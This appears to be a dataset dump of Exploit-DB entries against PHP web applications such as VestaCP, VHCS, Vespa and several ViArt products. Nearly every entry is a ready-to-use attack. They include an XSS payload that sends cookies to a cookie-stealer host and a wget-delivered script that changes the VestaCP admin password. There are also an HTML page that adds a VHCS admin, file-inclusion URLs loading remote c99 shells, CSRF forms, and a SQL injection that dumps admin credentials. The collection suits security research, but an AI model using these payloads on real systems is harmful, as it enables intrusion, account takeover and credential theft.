deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24333
Description: Verylost LostBook 1.1 - Message Entry HTML Injection
Type: webapps
Platform: php
Date: 2004-07-29
Author: Joseph Moniz

Exploit:
source: https://www.securityfocus.com/bid/10825/info

Reportedly Verylost lostBook is affected by an HTML injection vulnerability in its message entry functionality. This issue is due to a failure of the application to properly validate and sanitize user-supplied input before including it in dynamically generated web page content.

This may allow an attacker inject malicious HTML and script code into the application. An unsuspecting user viewing the post will have the attacker-supplied script code executed within their browser in the context of the vulnerable site. This issue may be leverage to steal cookie based authentication credentials. Other attacks are also possible.

example.com" onload="document.location='http://www.cookiestealer.com?cookie='+document.cookie
Exploit-DB #36664
Description: Vespa 0.8.6 - 'getid3.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-02-06
Author: T0x!c

Exploit:
source: https://www.securityfocus.com/bid/51878/info

Vespa is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.

Vespa 0.8.6 is vulnerable; other versions may also be affected. 

 http://www.example.com/[ Path ]/getid3/getid3.php?include=[LFI]%00
Exploit-DB #39468
Description: Vesta Control Panel 0.9.8-15 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-02-18
Author: Necmettin COSKUN

Exploit:
# Exploit Title     :Vesta Control Panel <= 0.9.8-15 - Persistent XSS Vulnerability
# Vendor Homepage   :http://www.vestacp.com
# Version           :0.9.8-15
# Exploit Author    :Necmettin COSKUN @babayarisi 
# Blog              :http://ha.cker.io
# Discovery date    :16/02/2016
# Tested on         :Fedora23 - Chrome/Firefox/Maxthon

We can use user-agent information to attack website like this. 
First of all we change our user-agent and add some dangerous javascript code ( XSS etc. ) 
and then we request to one of the website on target server then it is saved on access.log by server 
so when Administrator reads it the javascript code works that we added our user-agent information.

Poc Exploit
================
1.Prepare evil js file 

function csrfWithToken(url,hanimisToken,password){
	$.get(url, function(gelen) {
		$('body').append($(gelen));
		$('form[id="vstobjects"]').css("display","none");
		var token = $(hanimisToken).attr("token");
		$('form[id="vstobjects"]').attr("action",url);
		$('input[name="v_password"]').val(password);	
		$('form[id="vstobjects"]').submit();		
	});
};
//[CREDENTIAL_REDACTED]
csrfWithToken("/edit/user/?user=admin","#token","123456");

2. Make a Get request with evil user-agent to victim server
 
wget --header="Accept: text/html" --user-agent="<script src='http://evilsite/evil.js'></script>" http://victimserver
 
3. We wait Administrator to read access.log that injected our evil.js
4. We log-in VestaCP via password we changed
http(s)://victim:8083/
  
  
Discovered by:
================
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!
Exploit-DB #1524
Description: VHCS 2.4.7.1 - Add User Authentication Bypass
Type: webapps
Platform: php
Date: 2006-02-23
Author: RoMaNSoFt

Exploit:
<html>

<head>
<title>VHCS (version <= 2.4.7.1) PoC. &nbsp;By RoMaNSoFt</title>
<script language="JavaScript">
function submitform()
{
  if (document.admin_add_user.username.value=='admin')
  {
    alert('Learn to read before launching an exploit, script-kiddie!');
    exit();
  }
  
  document.admin_add_user.action=document.admin_add_user.target.value;
  document.admin_add_user.submit();
}
</script>
</head>

<body>
  <hr>
  <center>
  	<b>VHCS (version <= 2.4.7.1) PoC. &nbsp;By RoMaNSoFt &#60roman&#64rs-labs.com&#62 &nbsp;[08.Feb.2006]</b>

  </center>
  <hr>
  
	<form name="admin_add_user" method="post" action="">
            <table width="100%" cellpadding="5" cellspacing="5">
              <tr>
                <td width="20">&nbsp;</td>
                <td colspan="2">
                  &nbsp;
                </td>

              </tr>
              <tr>
                <td width="20">&nbsp;</td> <td width="200">Target URL</td>
                <td> 
                  <input type="text" name="target" value="http://<target>/vhcs2/admin/add_user.php" style="width:400px">
                </td>
              </tr>
              
              <tr>

                <td width="20">&nbsp;</td> <td width="200">Username</td>
                <td> 
                  <input type="text" name="username" value="admin" style="width:200px">&nbsp;(should NOT exist)
                </td>
              </tr>
              <tr> 
                <td>&nbsp;</td>
                <td colspan="2"><a href="javascript: submitform()">Exploit it!</a></td>              
              </tr>

              <tr> 
                <td colspan="3">&nbsp; 
                  </td>
              </tr>
            </table>
            <input type="hidden" name="pass" value="dsrrocks">
            <input type="hidden" name="pass_rep" value="dsrrocks">
            <input type="hidden" name="email" value="vhcs-exploit@rs-labs.com">
            <input type="hidden" name="uaction" value="add_user">
        </form>

        
        <hr>
        <br>
        <u>Quick instructions</u>.-<br>
        <br>
        1.- Enable JavaScript. Fill in the form with appropiate target URL (usually you will only need to replace &#60target&#62 string) and username.<br>
        2.- Remember not to use a probably existing username (such as "admin").<br>

        3.- Launch the exploit. <i>If target system is vulnerable, a new VHCS admin user will be created</i> ;-)<br>
        4.- You will be redirected to VHCS login page. Try to login with your brand new username.<br>
        5.- Ummm, I forgot it... The password is: <b>dsrrocks</b>.<br>

        <br>

        <u>More info (analysis, fix, etc)</u>.-<br>
        <br>
        See <a href=http://www.rs-labs.com/adv/RS-Labs-Advisory-2006-1.txt><i>RS-2006-1</i></a>.<br>
				<br>
				<hr>
</body>

</html>

# milw0rm.com [2006-02-23]
Exploit-DB #5060
Description: VHD Web Pack 2.0 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-02-04
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-010


Application:                    VHD Web Pack 2.0
Versions Affected:              VHD Web Pack 2.0
Vendor URL:                     http://www.divideconcept.net/index.php?page=vhdwebpack/index.php
Bugs:                           Local File Include
Exploits:                       YES
Reported:                       28.01.2008
Vendor response:                NONE
Date of Public Advisory:        04.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********


VHD Web Pack 2.0 system has Local file Include  security vulnerability



Details
*******


Local File Include
Attacker can inject PHP code and execute OS commands with webserver user privileges

vulnerable script /vhdwebpack/index.php  vulnerable  parameter "page"

Example:


http://[server]/vhdwebpack/index.php?page=/../../../../../../../../boot.ini





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-02-04]
Exploit-DB #3191
Description: vhostadmin 0.1 - 'MODULES_DIR' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-24
Author: 3l3ctric-Cracker

Exploit:
               _________________________________
      ________|                                 |________
      \       |         Dr Max Virus            |       /
       \      |                                 |      /
       /      |_________________________________|      \
      /___________)                         (___________\
------------------------------------------------------------------------------------------------------------------------
Script:vHostAdmin
Affected Version:1.0
Risk:Highly Critical
Downlaoad:http://www.inter7.com/vhostadmin/vhostadmin-cvs[PII_REDACTED].tar.gz
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (modules/mail/main.php)
Vul Code;
require_once($MODULES_DIR . '/mail/domains.php');
require_once($MODULES_DIR . '/mail/users.php');
require_once($MODULES_DIR . '/mail/forwards.php');
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/modules/mail/main.php?MODULES_DIR=shell.txt?&cmd=0wn3d 
By Dr Max Virus;
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-24]
Exploit-DB #33157
Description: ViArt CMS - 'forum.php?forum_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/36003/info
 
ViArt CMS is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
 
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
 
http://www.example.com/cms-demo/forum.php?forum_id=1>"><ScRiPt %0D%0A>alert[PII_REDACTED]55)%3B</ScRiPt>
Exploit-DB #33155
Description: ViArt CMS - 'forums.php?category_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/36003/info

ViArt CMS is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible. 

http://www.example.com/cms-demo/forums.php?category_id=1>"><ScRiPt %0D%0A>alert[PII_REDACTED]55)%3B</ScRiPt>
Exploit-DB #33158
Description: ViArt CMS - 'forum_topic_new.php?forum_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/36003/info
  
ViArt CMS is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
  
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
  
http://www.example.com/cms-demo/forum_topic_new.php?forum_id=1>"><ScRiPt %0D%0A>alert[PII_REDACTED]55)%3B</ScRiPt>
Exploit-DB #4722
Description: ViArt CMS/Shop/Helpdesk 3.3.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-11
Author: RoMaNcYxHaCkEr

Exploit:
# Name : ViArt CMS 3.3.2 Remote File Include
# Download From : http://www.viart.com/downloads/viart_cms-3.3.2.zip
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
============================================================================
# Vulne Code : Line 4 :
include_once($root_folder_path . "includes/navigator.php");
# Exploit :
www.RxH.com/viart_cms-3.3.2/blocks/block_site_map.php?root_folder_path=http://no-hack.fr/shell/c99.txt?
============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye And All My Friends
# For Contact : RxH@HotMail.iT

# milw0rm.com [2007-12-11]
Exploit-DB #34495
Description: ViArt Helpdesk - 'article.php?category_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42543/info
 
ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
httpwww.example.com/helpdesk-demo/article.php?category_id=1--><ScRiPt %0D%0A>alert[PII_REDACTED]35)%3B</ScRiPt>
Exploit-DB #34498
Description: ViArt Helpdesk - 'forum.php?forum_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42543/info
    
ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
    
httpwww.example.com/helpdesk-demo/forum.php?forum_id=1>"><ScRiPt %0D%0A>alert[PII_REDACTED]52)%3B</ScRiPt>
Exploit-DB #34494
Description: ViArt Helpdesk - 'products.php?category_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42543/info

ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

httpwww.example.com/helpdesk-demo/products.php?category_id=1>"><ScRiPt %0D%0A>alert[PII_REDACTED]52)%3B</ScRiPt>
Exploit-DB #34499
Description: ViArt Helpdesk - 'products_search.php?search_category_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42543/info
    
ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
    
httpwww.example.com/helpdesk-demo/products_search.php?search_category_id=1>"><ScRiPt %0D%0A>alert[PII_REDACTED]52)%3B</ScRiPt>
Exploit-DB #34496
Description: ViArt Helpdesk - 'product_details.php?category_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42543/info
  
ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  
httpwww.example.com/helpdesk-demo/product_details.php?category_id=1>"><ScRiPt %0D%0A>alert[PII_REDACTED]52)%3B</ScRiPt>
Exploit-DB #34497
Description: ViArt Helpdesk - 'reviews.php?category_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42543/info
   
ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
   
httpwww.example.com/helpdesk-demo/reviews.php?category_id=1>"><ScRiPt %0D%0A>alert[PII_REDACTED]52)%3B</ScRiPt>
Exploit-DB #6154
Description: ViArt Shop 3.5 - 'category_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-28
Author: GulfTech Security

Exploit:
##########################################################
# GulfTech Security Research                July 28, 2008
##########################################################
# Vendor : ViArt, Ltd
# URL : http://www.viart.com/
# Version : ViArt Shop <= 3.5
# Risk : SQL Injection
##########################################################


Description:
ViArt Shop is a full featured online ecommerce solution written
in php. There is a high risk SQL Injection in ViArt that allows
for an attacker to take over the ViArt installation. This
vulnerability is present regardless of magic_quotes configuration.
An updated version of ViArt has been released and all users are
encouraged to upgrade their ViArt installation as soon as possible.


SQL Injection:
There is a high risk SQL Injection vulnerability in ViArt that
allows for an attacker to run arbitrary queries via a malicious
request. The vulnerable code can be found in "products_rss.php".
As seen below the "$category_id" variable is never sanitized within
the query, and is never sanitized prior to that point either.

if ($category_id == 0){
    $sql = "SELECT category_id, friendly_url FROM " . $table_prefix . "categories WHERE category_path like '%".$category_id.",%' AND is_showing = 1 ";
} else {
    $sql = "SELECT category_id, friendly_url FROM " . $table_prefix . "categories WHERE category_path like '%,".$category_id.",%' AND is_showing = 1 ";
}

This allows for an attacker to easily select arbitrary data
from the database such as usernames,passwords, and even credit
card information. it should also be noted that ViArt strips
slashes from within the get_param() function, so magic_quotes
does not prevent this SQL Injection from happening.

/products_rss.php?category_id=1' UNION SELECT concat(login,char(58),password),0 FROM va_admins -- /*

A url like the one above will successfully grab the admin info
from the database, and then attempt to use the admin data in a
query, where it will then error. Still, the admin credentials
will be displayed in the SQL Error as part of the faulty query
and visible to the attacker. It is also worth mentioning that
ViArt stores all credentials in plain text, so once an attacker
has the credentials he is guaranteed access to the application.



Solution:
The ViArt developers have released a patch for the vulnerable
ViArt 3.5. Users are encouraged t upgrade as soon as possible.



Credits:
James Bercegay of the GulfTech Security Research Team



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00[PII_REDACTED]8

# milw0rm.com [2008-07-28]
Exploit-DB #32685
Description: ViArt Shop 3.5 - 'manuals_search.php?manuals_search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-29
Author: Xia Shing Zee

Exploit:
source: https://www.securityfocus.com/bid/33043/info


ViArt Shop is prone to multiple remote vulnerabilities:

- Multiple cross-site scripting vulnerabilities
- An information-disclosure vulnerability
- An authentication-bypass vulnerability

An attacker can exploit these issues to execute arbitrary script code, steal cookie-based authentication credentials, obtain sensitive information, or gain unauthorized access to the affected application.

ViArt Shop 3.5 is vulnerable; other versions may also be affected.

http://www.example.com/manuals_search.php?manuals_search=<html><script>window.location="http://www.example2.com";</script></html>
Exploit-DB #35320
Description: ViArt Shop 4.0.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-08
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46256/info

ViArt Shop is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ViArt Shop 4.0.5 is vulnerable; other versions may also be affected. 

1. http://www.example.com/admin/admin_product.php?category_id=0&item_id=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

2. <form action="http://www.example.com/admin/admin_global_settings.php" method="post" name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="rp" value="admin.php">
<input type="hidden" name="tab" value="general">
<input type="hidden" name="site_name" value="Default Site">
<input type="hidden" name="site_url" value="http://host/">
<input type="hidden" name="admin_email" value="email@example.com">
<input type="hidden" name="layout_id" value="1">
<input type="hidden" name="password_encrypt" value="0">
<input type="hidden" name="admin_password_encrypt" value="0">
<input type="hidden" name="html_below_footer" value=&#039;12345"><script>alert(document.cookie)</script>&#039;>

<input type="hidden" name="operation" value="save">
</form>
<script>
document.main.submit();
</script>


3. <form action="http://www.example.com/admin/admin_manufacturer.php" method="post" name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="manufacturer_id" value="3">
<input type="hidden" name="manufacturer_name" value=&#039;Company"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="manufacturer_order" value="1">
<input type="hidden" name="friendly_url" value="">
<input type="hidden" name="affiliate_code" value="">
<input type="hidden" name="short_description" value="">
<input type="hidden" name="full_description" value="">
<input type="hidden" name="image_small" value="images/manufacturers/small/company.gif">
<input type="hidden" name="image_small_alt" value="company">
<input type="hidden" name="image_large" value="images/manufacturers/large/company.gif">
<input type="hidden" name="image_large_alt" value="company">
</form>
<script>
document.main.submit();
</script>